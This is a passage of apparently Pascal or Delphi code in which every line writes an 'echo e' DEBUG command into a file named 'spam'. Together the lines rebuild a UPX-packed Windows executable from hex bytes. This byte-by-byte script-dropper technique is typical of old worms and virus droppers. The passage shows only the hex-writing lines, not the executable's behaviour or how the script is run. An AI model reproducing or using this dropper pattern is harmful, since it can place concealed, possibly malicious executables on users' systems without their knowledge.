writeln(f,\'echo e 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0200 50 45 00 00 4C 01 03 00 19 5E 42 2A 00 00 00 00>>spam\');
writeln(f,\'echo e 0210 00 00 00 00 E0 00 8F 81 0B 01 02 19 00 40 00 00>>spam\');
writeln(f,\'echo e 0220 00 10 00 00 00 B0 00 00 90 F5 00 00 00 C0 00 00>>spam\');
writeln(f,\'echo e 0230 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00>>spam\');
writeln(f,\'echo e 0240 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0250 00 10 01 00 00 10 00 00 00 00 00 00 03 00 00 00>>spam\');
writeln(f,\'echo e 0260 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00>>spam\');
writeln(f,\'echo e 0270 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0280 B0 00 01 00 44 01 00 00 00 00 01 00 B0 00 00 00>>spam\');
writeln(f,\'echo e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 02C0 E4 F6 00 00 18 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 02F0 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00>>spam\');
writeln(f,\'echo e 0300 00 B0 00 00 00 10 00 00 00 00 00 00 00 04 00 00>>spam\');
writeln(f,\'echo e 0310 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 E0>>spam\');
writeln(f,\'echo e 0320 55 50 58 31 00 00 00 00 00 40 00 00 00 C0 00 00>>spam\');
writeln(f,\'echo e 0330 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0340 00 00 00 00 40 00 00 E0 2E 72 73 72 63 00 00 00>>spam\');
writeln(f,\'echo e 0350 00 10 00 00 00 00 01 00 00 02 00 00 00 3C 00 00>>spam\');
writeln(f,\'echo e 0360 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0>>spam\');
writeln(f,\'echo e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>spam\');
writeln(f,\'echo e 04D0 00 00 00 00 00 00 00 00 00 00 00 31 2E 32 34 00>>spam\');
writeln(f,\'echo e 04E0 55 50 58 21 0C 09 02 09 49 0C 73 AF 09 F2 22 C0>>spam\');
writeln(f,\'echo e 04F0 8B D6 00 00 86 35 00 00 00 6C 00 00 26 00 00 40>>spam\');
writeln(f,\'echo e 0500 06 99 FB FF 04 10 40 00 0A 06 53 74 72 69 6E 67>>spam\');
writeln(f,\'echo e 0510 58 0B 00 D3 2D 07 FB 1F 04 0B 04 2A 10 03 14 5D>>spam\');
writeln(f,\'echo e 0520 67 36 5D 18 0B 0C 04 29 03 60 07 07 06 59 FE FF>>spam\');
writeln(f,\'echo e 0530 54 4F 62 6A 65 63 74 FF 25 38 91 40 00 8B C0 34>>spam\');
writeln(f,\'echo e 0540 30 19 64 90 41 2C 28 24 64 90 41 06 20 1C 18 90>>spam\');
writeln(f,\'echo e 0550 41 06 19 14 10 0C 41 06 19 64 08 48 04 9C 1C 64>>spam\');
writeln(f,\'echo e 0560 90 44 00 FC 90 F8 32 C8 20 83 F4 F0 EC C8 20 83>>spam\');
writeln(f,\'echo e 0570 0C E8 E4 E0 20 83 0C 32 DC D8 D4 83 0C 32 C8 D0>>spam\');
writeln(f,\'echo e 0580 CC C8 58 1C 64 90 93 91 54 50 C4 90 90 41 4E 9E>>spam\');
writeln(f,\'echo e 0590 6C 91 68 64 B7 0D 7F 64 60 53 83 C4 BC BB 0A 68>>spam\');
writeln(f,\'echo e 05A0 54 E8 03 01 24 F2 BD FD FF F6 44 24 2C 01 74 05>>spam\');
writeln(f,\'echo e 05B0 0F B7 5C 24 30 8B C3 1B 44 5B C3 4B C0 C8 20 83>>spam\');
writeln(f,\'echo e 05C0 0D BC 07 B8 B4 20 83 0C 32 B0 AC A8 E5 BF FD C8>>spam\');
writeln(f,\'echo e 05D0 A4 53 56 BE 3C 84 6C 83 3E 00 75 3A 68 44 06 77>>spam\');
writeln(f,\'echo e 05E0 B7 FF CF 6A 00 B8 8B C8 85 C9 75 05 33 C0 5E 64>>spam\');
writeln(f,\'echo e 05F0 A1 38 20 89 01 89 FF FF FF BF 0D 07 33 D2 8B C2>>spam\');
writeln(f,\'echo e 0600 03 C0 8D 44 C1 04 8B 1E 89 18 89 06 42 83 FA 64>>spam\');
writeln(f,\'echo e 0610 75 EC 8B 06 8B 10 DF BF B7 DD 89 16 2B 90 89 29>>spam\');
writeln(f,\'echo e 0620 40 04 C3 57 8B F2 8B D8 4A F8 F6 ED 3F D8 85 C0>>spam\');
writeln(f,\'echo e 0630 48 8B 16 89 50 08 8B 56 04 05 0C 8B 13 89 30 BF>>spam\');
writeln(f,\'echo e 0640 7D 6F DB 58 09 42 02 03 B0 01 1B 50 50 08 89 0A>>spam\');
writeln(f,\'echo e 0650 89 51 DF BE ED 6D 06 15 90 1E A3 06 C3 47 57 55>>spam\');
writeln(f,\'echo e 0660 51 8B 5B F7 6E FF F1 89 14 24 8B E8 8B 5D B0 04>>spam\');
writeln(f,\'echo e 0670 24 69 2D 89 47 8B ED 0A FF ED 3B 8B 43 4F D0 03>>spam\');
writeln(f,\'echo e 0680 53 0C 3B 16 75 14 12 6D 02 80 B7 DB 6F CD 12 95>>spam\');
writeln(f,\'echo e 0690 04 0C 01 46 04 EB 27 16 03 26 3B C2 DF FF 2F D9>>spam\');
writeln(f,\'echo e 06A0 75 0D 1C 17 8B DF 3B EB 75 C2 8B D6 8B C5 14 50>>spam\');
writeln(f,\'echo e 06B0 5A F7 56 B6 84 9F 04 34 5A 5D 5F 88 8D 74 BF FB>>spam\');
writeln(f,\'echo e 06C0 B6 F0 73 5E F8 BE 8B FB 8B 32 4F 3B F0 72 6C 8B>>spam\');
writeln(f,\'echo e 06D0 CE DB DB DB DB 03 4A 38 E8 03 6B 6B CD 77 5E 11>>spam\');
writeln(f,\'echo e 06E0 75 1B 8B BB 01 6C E1 6D 73 7E 05 29 54 83 7B 0C>>spam\');
writeln(f,\'echo e 06F0 3F 44 64 DB ED 7F 1B EB 96 0A 8B 72 04 03 CE 8B>>spam\');
writeln(f,\'echo e 0700 F8 03 17 3B CF FD 29 BE FD BB F6 73 0C EB 26 14>>spam\');
writeln(f,\'echo e 0710 41 89 0C 24 2B F9 89 7C 24 4A 12 2B D0 89 2D 9C>>spam\');
writeln(f,\'echo e 0720 EC DD B8 8B D4 34 84 EB 0C 0C EB DF 9D 6D BF 53>>spam\');
writeln(f,\'echo e 0730 1B 3B FB 75 85 0D 59 91 90 8F 8B DA 8B F0 81 B7>>spam\');
writeln(f,\'echo e 0740 6F EF B7 FE 28 10 00 7D 07 BE 06 29 81 C6 FF FF>>spam\');
writeln(f,\'echo e 0750 09 81 E6 09 DB 7F 6B 03 07 89 73 04 6A 01 68 00>>spam\');
writeln(f,\'echo e 0760 20 0B 56 BF 61 86 FF DB C8 7B 89 3B 85 FF 74 23>>spam\');
writeln(f,\'echo e 0770 8B D3 B8 40 47 63 75 DF 0F DB 13 24 80 E3 8B 03>>spam\');
writeln(f,\'echo e 0780 50 26 D0 F7 03 F6 7B C3 87 63 55 8B D9 B3 E8 C7>>spam\');
writeln(f,\'echo e 0790 43 04 60 6A 04 4F C8 0E D8 37 68 0B 55 52 75 1F>>spam\');
writeln(f,\'echo e 07A0 78 B0 B7 D9 E4 04 24 4E 83 3B 00 76 E1 86 64 09>>spam\');
writeln(f,\'echo e 07B0 DB 6B EC 89 4C 12 1B EE 46 43 E3 C7 E2 08 FF 00>>spam\');
writeln(f,\'echo e 07C0 65 89 DF DB 0D ED 54 24 0C 8B EE 03 C5 89 14 10>>spam\');
writeln(f,\'echo e 07D0 8B 1D 4E EB 2B FF 17 1A 09 5B 73 08 3B EE 77 46>>spam\');
writeln(f,\'echo e 07E0 8B C6 03 43 19 87 B9 AD BD 77 3B 3B 74 34 86 89>>spam\');
writeln(f,\'echo e 07F0 05 14 0C F9 18 CC B5 76 0E 05 74 56 85 D0 0F C3>>spam\');
writeln(f,\'echo e 0800 D4 BD 0A C7 05 1C 45 01 51 0F DF 81 D6 EE B6 BF>>spam\');
writeln(f,\'echo e 0810 FB 58 75 A7 8B 2F 04 75 10 83 7C 37 BF BA D6 68>>spam\');
writeln(f,\'echo e 0820 DF 19 0E 8B 82 4A 79 48 2B 8B 6D 0F E7 96 0D AE>>spam\');
writeln(f,\'echo e 0830 AB 14 B8 B7 ED 6F 04 39 F4 84 8B EA 81 E5 00 F0>>spam\');
writeln(f,\'echo e 0840 B9 E6 5E C3 B7 03 0C 81 C2 FF 0F 1F E2 0E C6 39>>spam\');
writeln(f,\'echo e 0850 EC 60 77 CD 44 28 05 08 2B C5 45 8B 35 CE DB 6F>>spam\');
writeln(f,\'echo e 0860 7C 7B 3C 8B 5E 1D 7E 0C 03 FB 8F 76 02 8B DD 3B>>spam\');
writeln(f,\'echo e 0870 7B 08 F2 70 C1 6D B9 8B 05 FF 76 1E 57 10 DB 61>>spam\');
writeln(f,\'echo e 0880 E7 FB 2B FB 57 53 C0 C8 A5 EB 09 36 D3 D9 C6 1A>>spam\');
writeln(f,\'echo e 0890 0E B9 BC 91 0C 73 F9 0C 1D A7 2B B5 F3 A1 81 E6>>spam\');
writeln(f,\'echo e 08A0 64 08 72 1B 34 9D EB 03 4F E4 B0 6E A3 C8 F6 2B>>spam\');
writeln(f,\'echo e 08B0 06 41 84 38 EB B6 B7 9F 1C 24 73 03 8B 04 3B EF>>spam\');
writeln(f,\'echo e 08C0 73 8C FD 82 1C 80 3B 43 C2 64 40 41 02 80 BD 91>>spam\');
writeln(f,\'echo e 08D0 92 0E C0 37 44 F8 BD 50 74 EB EE DE 1A 81 C7 FF>>spam\');
writeln(f,\'echo e 08E0 3F 86 E7 00 C0 79 5D 69 33 3B B5 33 5D BA 0E 7F>>spam\');
writeln(f,\'echo e 08F0 2C 49 8B D7 54 52 05 30 64 92 91 DE 76 74 50 8B>>spam\');
writeln(f,\'echo e 0900 46 48 46 3E EC 9A 6E 3A 35 09 DD 75 C9 A9 C7 2E>>spam\');
writeln(f,\'echo e 0910 03 9C 6E FB 21 FD 21 8B CC B9 98 83 3C 24 2D A5>>spam\');
writeln(f,\'echo e 0920 10 26 9D 76 5D 0B 06 11 04 78 C7 36 4A 9B 1E 13>>spam\');
writeln(f,\'echo e 0930 0F 5B 73 8B FA 3E B1 C0 9B C0 92 02 61 53 3B 86>>spam\');
writeln(f,\'echo e 0940 EE EE BB 54 75 F5 04 57 A2 0F 8E 96 DF 8D D9 3E>>spam\');
writeln(f,\'echo e 0950 47 33 6D A8 2B A2 9B 55 5D 00 CC B0 5B 3A 1C 04>>spam\');
writeln(f,\'echo e 0960 33 1A 0C 8D C8 85 05 E1 FB 31 32 75 B1 15 8B EE>>spam\');
writeln(f,\'echo e 0970 EC F6 60 88 8B 6C AB E9 0B 07 EF 4D 00 19 B0 C6>>spam\');
writeln(f,\'echo e 0980 9F 46 34 F8 11 E6 F8 0F 85 66 FE 4A EB 48 8B 6B>>spam\');
writeln(f,\'echo e 0990 57 38 14 D8 1B F5 A9 48 1C D7 60 DB 19 5E D7 3C>>spam\');
writeln(f,\'echo e 09A0 48 20 83 38 53 28 26 E1 45 78 1F 40 4E 08 51 10>>spam\');
writeln(f,\'echo e 09B0 1A 46 B0 43 07 49 C6 23 EC D8 70 7F 22 8B F9 C4>>spam\');
writeln(f,\'echo e 09C0 8D 98 1B E3 FF B6 36 22 35 03 70 E6 0A 3B DE 73>>spam\');
writeln(f,\'echo e 09D0 5B 70 76 EC C2 8B CF 73 2B D3 44 05 C4 CB B8 26>>spam\');
writeln(f,\'echo e 09E0 FB 76 EC 4E B8 8B 5C 0F 85 DB 74 1F B5 C3 9A CE>>spam\');
writeln(f,\'echo e 09F0 35 CD B3 38 89 C0 07 10 08 0A 1C F6 CE F5 14 F1>>spam\');
writeln(f,\'echo e 0A00 3B 03 16 6D EB B9 07 79 07 8D 8C 80 EC 9B FC B3>>spam\');
writeln(f,\'echo e 0A10 FF F6 55 68 3E 19 1C 64 FF 32 64 89 22 68 20 27>>spam\');
writeln(f,\'echo e 0A20 01 D8 80 3D 31 80 9B AC C9 76 8B 74 0A 12 E0 60>>spam\');
writeln(f,\'echo e 0A30 48 8A 06 1F B2 25 09 7C 68 F8 0F CB BC BD 0F 4E>>spam\');
writeln(f,\'echo e 0A40 A3 78 E1 3D 05 41 2F B8 03 AE 5F FA 7D BD 15 0D>>spam\');
writeln(f,\'echo e 0A50 33 C9 BF 82 F4 40 3D 01 F1 03 07 EE 06 C4 B8 60>>spam\');
writeln(f,\'echo e 0A60 12 BD C2 ED ED 75 77 A3 6C 09 C6 05 18 2C 9F 5A>>spam\');
writeln(f,\'echo e 0A70 59 59 8B 68 78 65 EE 10 68 45 96 86 E8 C3 DF 1C>>spam\');
writeln(f,\'echo e 0A80 BC F6 7D 17 B8 E5 A0 2D 5D C3 53 25 0B 36 E4 E7>>spam\');
writeln(f,\'echo e 0A90 2E CB 84 CC 69 D1 22 1A C7 04 DE B3 00 67 00 A1>>spam\');
writeln(f,\'echo e 0AA0 90 1D 6B B0 62 65 C0 B1 F3 12 C6 1A 13 70 04 87>>spam\');
writeln(f,\'echo e 0AB0 3C B2 C4 22 61 B0 B4 E6 02 B2 4D 5C 8A B7 B4 74>>spam\');
writeln(f,\'echo e 0AC0 17 31 15 38 5D 20 27 3B 58 16 75 E9 D9 29 1A DB>>spam\');
writeln(f,\'echo e 0AD0 41 26 4B E3 F0 DB 5B DF 53 13 EF 89 EF 3B 05 6C>>spam\');
writeln(f,\'echo e 0AE0 7B 09 82 15 0A B9 16 4D FC FA 48 08 81 F9 AC 7F>>spam\');
writeln(f,\'echo e 0AF0 38 6C 17 39 07 62 BF C1 79 05 C1 03 C1 F9 02 D4>>spam\');
writeln(f,\'echo e 0B00 CC DE 5E 5B F6 88 F4 EB 24 16 D9 17 15 8B F4 8B>>spam\');
writeln(f,\'echo e 0B10 77 98 A9 DD 05 02 89 40 AD 08 8D F8 C4 1B 1B 67>>spam\');
writeln(f,\'echo e 0B20 15 7C B4 4A EC C1 72 07 F5 7B 09 B7 36 0C 06 CB>>spam\');
writeln(f,\'echo e 0B30 12 81 FA 17 75 E8 EF 78 71 98 84 C6 8D C3 8B CA>>spam\');
writeln(f,\'echo e 0B40 83 E9 02 ED 6F F1 04 8D 1C 01 8B 10 7C 0F C7 03>>spam\');
writeln(f,\'echo e 0B50 07 18 D9 BD BD B5 DD D1 B9 0C 78 4F 13 04 7C 0C>>spam\');
writeln(f,\'echo e 0B60 20 81 C9 02 FE BD 2D D0 15 89 D0 0B 12 FF 05 0C>>spam\');
writeln(f,\'echo e 0B70 B7 D0 83 EA 04 9E DD 6D EC 54 E2 FC E3 7F 0A 01>>spam\');
writeln(f,\'echo e 0B80 15 10 EF 10 E0 A7 A6 BF B9 3B 36 0C 7C 0E 83 CA>>spam\');
writeln(f,\'echo e 0B90 02 2A C0 83 07 7F C9 D8 0A EC 49 0A 03 C2 83 20>>spam\');
writeln(f,\'echo e 0BA0 FE 07 57 38 5D 30 47 18 E1 08 05 2B 3D 83 C0 74>>spam\');
writeln(f,\'echo e 0BB0 29 04 DA 53 63 0E 33 FD ED 2B 56 C8 33 11 F7 C2>>spam\');
writeln(f,\'echo e 0BC0 FE E1 1F 05 60 7B 0B 6D F6 01 D5 20 45 A6 72 FE>>spam\');
writeln(f,\'echo e 0BD0 CC 61 DF 22 C6 3B 70 08 1D 06 7B 28 03 DE 5A 20>>spam\');
writeln(f,\'echo e 0BE0 09 94 54 63 E1 33 6D F1 FD 5E 9F 03 A9 00 66 0B>>spam\');
writeln(f,\'echo e 0BF0 25 59 03 68 D8 BD 0A 94 B8 11 A8 02 67 FB 63 14>>spam\');
writeln(f,\'echo e 0C00 F8 5B C0 31 4E 08 15 83 23 FE 3B 3B 3B 70 19 AF>>spam\');
writeln(f,\'echo e 0C10 F8 08 21 8C 46 DF 5C 2D 57 4C 3E DB 7B 8D 0C 37>>spam\');
writeln(f,\'echo e 0C20 2B 6F B0 DD BA D1 F2 7F C8 F8 2B 31 C6 A8 83 F8>>spam\');
writeln(f,\'echo e 0C30 0C AC 56 E0 C0 7D 12 6A 01 48 65 AC 40 D7 FD 07>>spam\');
writeln(f,\'echo e 0C40 F8 EB 0F 11 D7 EE 8D AC 10 B7 62 B1 70 8B 2C D5>>spam\');
writeln(f,\'echo e 0C50 ED B8 81 D5 2B 90 3B B9 B3 D6 59 BC 54 F7 38 B0>>spam\');
writeln(f,\'echo e 0C60 D8 6D DF 99 C2 73 0A 8D 14 5D D0 19 0B 10 EE F0>>spam\');
writeln(f,\'echo e 0C70 26 E0 62 03 E6 A5 97 BB 5A 94 78 2F 88 49 38 03>>spam\');
writeln(f,\'echo e 0C80 C6 DB C8 C6 D6 83 E8 34 70 4D FE 37 7E 85 6E 4D>>spam\');
writeln(f,\'echo e 0C90 96 8E D2 4B C2 FA 4C 90 F4 37 2E C7 3A BB 10 0C>>spam\');
writeln(f,\'echo e 0CA0 89 5C 89 5B 86 1B EB A1 8E B6 8E 3A E2 43 08 13>>spam\');
writeln(f,\'echo e 0CB0 91 5A F6 0F 06 97 6E 2C 3E 3C 7C 0D 38 0B E0 84>>spam\');
writeln(f,\'echo e 0CC0 0C EC 3D 6F 32 17 A1 6C 1D 05 2D 66 9F AE 19 BB>>spam\');
writeln(f,\'echo e 0CD0 1E 70 7E 40 08 DD 70 4C D8 FC 0C 82 4B 89 2B A1>>spam\');
writeln(f,\'echo e 0CE0 78 ED DC F8 13 83 C8 B8 15 74 8B 06 3C F7 4C C3>>spam\');
writeln(f,\'echo e 0CF0 18 AE 0E 06 25 83 0B 85 19 77 6A 66 F0 8D 9E 34>>spam\');
writeln(f,\'echo e 0D00 1B D8 60 A5 9D FC 34 0D 00 08 47 28 03 D2 7C 08>>spam\');
writeln(f,\'echo e 0D10 3A 52 8B A3 F0 5F E1 07 3B D8 25 A8 38 29 07 01>>spam\');
writeln(f,\'echo e 0D20 47 39 F2 C2 42 8B 5D 04 F3 03 D1 3E C6 16 42 47>>spam\');
writeln(f,\'echo e 0D30 C3 BE 18 A8 16 79 11 23 CC 3D C2 E3 04 BA 58 6C>>spam\');
writeln(f,\'echo e 0D40 83 6F 04 19 81 B1 15 62 6D 8B 1E 82 5C 7E 10 A2>>spam\');
writeln(f,\'echo e 0D50 3D A3 21 93 C8 D4 8D F0 D1 77 E3 6C 32 06 44 35>>spam\');
writeln(f,\'echo e 0D60 8B C4 94 4C 44 0C 0E 83 74 02 8D 0B F2 35 4B 9C>>spam\');
writeln(f,\'echo e 0D70 BD D8 51 8D C3 30 D4 50 38 BD 14 5F DC 8E B0 F4>>spam\');
writeln(f,\'echo e 0D80 F1 D2 A1 C0 F8 02 3D EE 7F A8 15 1A 04 5E 8E A9>>spam\');
writeln(f,\'echo e 0D90 54 82 D2 75 08 5D EA D6 87 63 64 A8 63 F0 BF 81>>spam\');
writeln(f,\'echo e 0DA0 BD 70 E0 B4 84 09 33 64 76 71 84 0A 8F 23 F5 27>>spam\');
writeln(f,\'echo e 0DB0 1F 6B 7E 7B 0A D6 E1 56 68 EB 17 7F 8D 17 2D 13>>spam\');
writeln(f,\'echo e 0DC0 1F 74 AD 76 8C C1 78 1F EB 63 15 0D 66 0E 38 A7>>spam\');
writeln(f,\'echo e 0DD0 4A B3 BD 86 40 4E 0C 99 D8 07 B8 DD B6 BA A7 0F>>spam\');
writeln(f,\'echo e 0DE0 A1 75 23 A4 29 04 83 7D 61 07 AD 61 C6 83 08 62>>spam\');
writeln(f,\'echo e 0DF0 45 00 B2 6B 48 23 1C 01 35 27 D6 D8 09 D3 FB 2C>>spam\');
writeln(f,\'echo e 0E00 3D 83 EE FC 35 EB 4C F4 3D CB 54 6A 8D BB AF 8A>>spam\');
writeln(f,\'echo e 0E10 04 3B 0A 05 62 BD D3 03 D6 92 4C 8A 1C 7A 74 2C>>spam\');
writeln(f,\'echo e 0E20 D5 8B CE 8B 3C 07 AC 0C A6 B0 E6 00 06 4D 5D D3>>spam\');
writeln(f,\'echo e 0E30 60 10 C9 10 54 B5 16 EE 6B 76 A5 A4 B0 08 84 0A>>spam\');
writeln(f,\'echo e 0E40 98 FC B3 F2 DC A0 C1 10 D3 89 25 D0 20 31 56 89>>spam\');
writeln(f,\'echo e 0E50 03 C8 21 83 C3 25 45 A1 81 E1 ED 83 FB D1 05 BB>>spam\');
writeln(f,\'echo e 0E60 0C 2C 02 0B 61 09 31 FA 0F 8F 93 CC 83 7C BE A6>>spam\');
writeln(f,\'echo e 0E70 DA 03 74 79 AF 12 C3 A6 42 11 98 B0 17 4F D0 75>>spam\');
writeln(f,\'echo e 0E80 1A 29 0D 9C 08 74 F5 46 20 7C 81 F4 9D CB 9E 15>>spam\');
writeln(f,\'echo e 0E90 5E 8E 0C 3D 44 8F 0A 89 4D 83 BB 29 F7 A8 02 2D>>spam\');
writeln(f,\'echo e 0EA0 05 60 8B 52 08 EE 16 18 CC 0D BB F1 EB 3C 1D FB>>spam\');
writeln(f,\'echo e 0EB0 E1 D8 41 1D 7C CF 3B 1D E0 7F 4A 29 07 21 BD 87>>spam\');
writeln(f,\'echo e 0EC0 14 53 0D 03 0E 29 A1 6C E4 84 91 1D D3 54 93 84>>spam\');
writeln(f,\'echo e 0ED0 3B C2 EB 32 99 0E 64 1F 91 D7 CD D0 26 92 20 8B>>spam\');
writeln(f,\'echo e 0EE0 2A 81 2A BA 08 0D 8F 5D A7 87 51 85 7C 1C D2 21>>spam\');
writeln(f,\'echo e 0EF0 87 60 8C 1F 16 EF D9 F0 5A 73 08 C7 38 06 98 12>>spam\');
writeln(f,\'echo e 0F00 79 0D A5 40 F2 76 22 A7 F0 8B 07 3B 5B E0 1E F6>>spam\');
writeln(f,\'echo e 0F10 C3 7D 0F 42 09 3B 49 FF 36 45 A0 BD 0D C8 B8 A3>>spam\');
writeln(f,\'echo e 0F20 B4 29 05 E2 75 81 F6 CF 29 EE 45 8B E8 07 5A 3F>>spam\');
writeln(f,\'echo e 0F30 58 39 08 66 08 F7 DF CB 6D 60 C8 60 3E 0A 86 C2>>spam\');
writeln(f,\'echo e 0F40 3B 46 03 A6 AC 22 17 03 0B A5 17 38 CC 20 56 E1>>spam\');
writeln(f,\'echo e 0F50 40 3B 3D 0F 13 CA 86 74 70 75 2C 55 60 81 23 56>>spam\');
writeln(f,\'echo e 0F60 D7 59 D3 3C D6 05 84 6F BF C0 9B 10 A4 DB 06 F6>>spam\');
writeln(f,\'echo e 0F70 C2 02 74 1C 87 E5 60 12 01 DD F3 0B 99 5E E0 3F>>spam\');
writeln(f,\'echo e 0F80 37 83 08 01 EB 29 3F 83 78 04 FF 6E C2 6E 1F 5C>>spam\');
writeln(f,\'echo e 0F90 06 0A 08 0C 23 13 C1 35 9D 4E 6A 8D 31 D3 88 24>>spam\');
writeln(f,\'echo e 0FA0 A1 01 C8 03 E1 1D A5 7D 22 1B BB 92 D4 5D AF 81>>spam\');
writeln(f,\'echo e 0FB0 83 C6 EC E6 5A F8 D3 2C FE BE 8B E8 83 ED 63 7D>>spam\');
writeln(f,\'echo e 0FC0 5F E8 E0 99 B7 A9 5E C7 C7 3B FE 0F 8C 0D 47 4B>>spam\');
writeln(f,\'echo e 0FD0 BD 83 1B A3 D6 BC 70 7B 05 47 63 FF 38 DF 66 0A>>spam\');
writeln(f,\'echo e 0FE0 08 A0 C0 80 B1 01 05 7C 0F 81 1D 39 EC 15 F8 15>>spam\');
writeln(f,\'echo e 0FF0 1E 29 8B F7 75 2E 78 DB 88 14 33 50 F6 03 02 27>>spam\');
writeln(f,\'echo e 1000 D2 01 E2 05 57 AC 4E D3 FA 9D 1B 8B DD 81 B6 81>>spam\');
writeln(f,\'echo e 1010 66 7D 2D FD 89 03 1E F4 D4 30 9B 0D 34 3B A8 C7>>spam\');
writeln(f,\'echo e 1020 6E 0C 06 7B E9 83 67 2D 3B 10 F4 DE EC D4 7C 53>>spam\');
writeln(f,\'echo e 1030 C1 67 09 7A 48 CF 62 97 0D 18 27 13 03 35 18 D8>>spam\');
writeln(f,\'echo e 1040 7A DB 0B 4F 16 10 09 B7 25 11 3E 03 FF 1B 0B F0>>spam\');
writeln(f,\'echo e 1050 89 75 D6 6D 4C C9 32 D4 F0 75 94 DF B0 4D 77 C2>>spam\');
writeln(f,\'echo e 1060 7E 03 36 B5 BD E3 02 3B 99 7D 0E 82 94 70 AF 45>>spam\');
writeln(f,\'echo e 1070 72 DF 71 0B 19 3E F7 26 9D 86 C3 D0 0E 3F 57 EA>>spam\');
writeln(f,\'echo e 1080 D7 2B C6 E2 D2 3A 03 E9 E1 C8 61 B1 8B 28 EB 2E>>spam\');
writeln(f,\'echo e 1090 55 21 9D E4 80 8E 56 D8 AF 79 04 EB 60 F7 2E 23>>spam\');
writeln(f,\'echo e 10A0 74 09 76 84 13 3C 04 19 A6 A4 60 41 0A B7 73 4F>>spam\');
writeln(f,\'echo e 10B0 3D C8 3A F2 FB 15 0C 21 09 FC 4C 04 92 25 C6 82>>spam\');
writeln(f,\'echo e 10C0 12 84 75 71 8C DF 05 89 5D FC EB 36 6B 0F 58 37>>spam\');
writeln(f,\'echo e 10D0 C3 83 21 35 32 57 3B 61 3D 05 D8 82 76 7D 02 1B>>spam\');
writeln(f,\'echo e 10E0 F7 11 19 8C 0D BD DD CB 91 24 16 74 3B D3 89 7D>>spam\');
writeln(f,\'echo e 10F0 92 48 5D 80 BC 10 25 8D 3F 1D E1 B2 FD 0A FF 15>>spam\');
writeln(f,\'echo e 1100 18 70 09 09 01 C3 83 15 98 90 66 E4 AC DB 17 1C>>spam\');
writeln(f,\'echo e 1110 75 02 F6 06 5E 62 8B D5 C9 74 32 7B 18 50 89 C8>>spam\');
writeln(f,\'echo e 1120 20 6B C9 76 CD 20 59 39 19 89 23 7F 18 A5 1B 36>>spam\');
writeln(f,\'echo e 1130 D8 39 EB 51 31 10 F8 C2 7C B3 D0 6A 31 E7 97 E0>>spam\');
writeln(f,\'echo e 1140 76 FF CE DD EF 0D 04 A9 56 03 5A FF D1 48 8A 80>>spam\');
writeln(f,\'echo e 1150 C5 BD 79 0B FF FF AC EF B1 39 EC 8B 80 04 15 21>>spam\');
writeln(f,\'echo e 1160 C4 CB CC C8 C9 D7 CF C8 CD CE DB D8 CA 8E DD F4>>spam\');
writeln(f,\'echo e 1170 FF D9 DA DC DD DE DF E0 E1 E3 00 E4 E5 57 50 52>>spam\');
